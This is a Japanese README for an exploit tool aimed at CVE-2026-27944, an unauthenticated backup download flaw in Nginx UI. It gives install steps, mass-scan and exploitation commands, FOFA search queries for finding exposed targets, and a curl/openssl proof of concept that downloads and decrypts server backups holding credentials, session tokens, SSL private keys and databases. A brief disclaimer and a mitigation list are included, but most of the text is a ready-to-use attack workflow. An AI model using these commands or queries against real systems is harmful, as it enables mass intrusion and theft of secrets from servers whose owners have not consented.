🚀 CVE-2026-27944: Nginx UI 未認証バックアップエクスプロイト

📌 説明

27944.py は CVE-2026-27944 のエクスプロイトツールで、攻撃者が認証なしで Nginx UI のバックアップをダウンロードおよび復号化できるようにします。

この脆弱性は Nginx UI バージョン < 2.3.2 に存在し、以下へのアクセスを可能にします：

· ユーザー認証情報とセッショントークン · SSL 秘密鍵 · Nginx 設定 · データベースファイル

🔧 機能

· ✅ ターゲットファイルからの一括スキャン · ✅ 単一ターゲットのエクスプロイト · ✅ バックアップの自動ダウンロード · ✅ AES-256-CBC の自動復号化 · ✅ バックアップからの認証情報の自動抽出

🛠️ インストール方法

git clone https://github.com/bimabalance/CVE-2026-27944.git
cd CVE-2026-27944
pip install -r requirements.txt

🚀 使用方法

一括スキャン

python 27944.py -f targets.txt -o hasil_scan

単一ターゲットのエクスプロイト

python 27944.py -t target.com:9000 --exploit --decrypt

完全エクスプロイト

python 27944.py -f targets.txt --exploit --decrypt -o hasil_full

📋 ターゲット形式

target1.com:9000
192.168.1.1:9000
target2.com:8080

🎯 FOFA ダーク

title="Nginx UI"
icon_hash="-1565173320"
header="X-Backup-Security"
body="Nginx UI" && port="9000"
title="Nginx UI" && country="ID"

📂 出力結果

results/
├── results.json
├── target_backup.bin
├── target_backup_decrypted.zip
└── target_extracted/
    ├── app.ini
    ├── database.db
    ├── nginx.conf
    └── ssl/

⚠️ 免責事項

このツールは教育目的および倫理的なセキュリティテストのために作成されました。作者はこのツールの誤用について一切の責任を負いません。所有するシステム、またはテストする書面による許可があるシステムでのみ使用してください。

📝 技術的説明

CVE-2026-27944 は Nginx UI の重大な脆弱性で、攻撃者が認証なしで /api/backup エンドポイントにアクセスできるようにします。バックアップには AES-256 で暗号化された機密データが含まれていますが、キーと IV は X-Backup-Security ヘッダーで Base64 形式で送信されます。

CVSS スコア: 9.8 (Critical)

影響を受けるバージョン: Nginx UI < 2.3.2

緩和策:

Nginx UI v2.3.3 にアップグレード
/api/backup へのアクセスをブロック
すべての認証情報をローテーション

💀 POC

# Cek vulnerability
curl -I http://target:9000/api/backup

# Download backup
curl -s http://target:9000/api/backup -o backup.bin

# Decrypt backup (manual)
openssl enc -d -aes-256-cbc -base64 -K <key> -iv <iv> -in backup.bin -out backup_decrypted.zip

Cve-2026-27944-Tools-Exploit

人気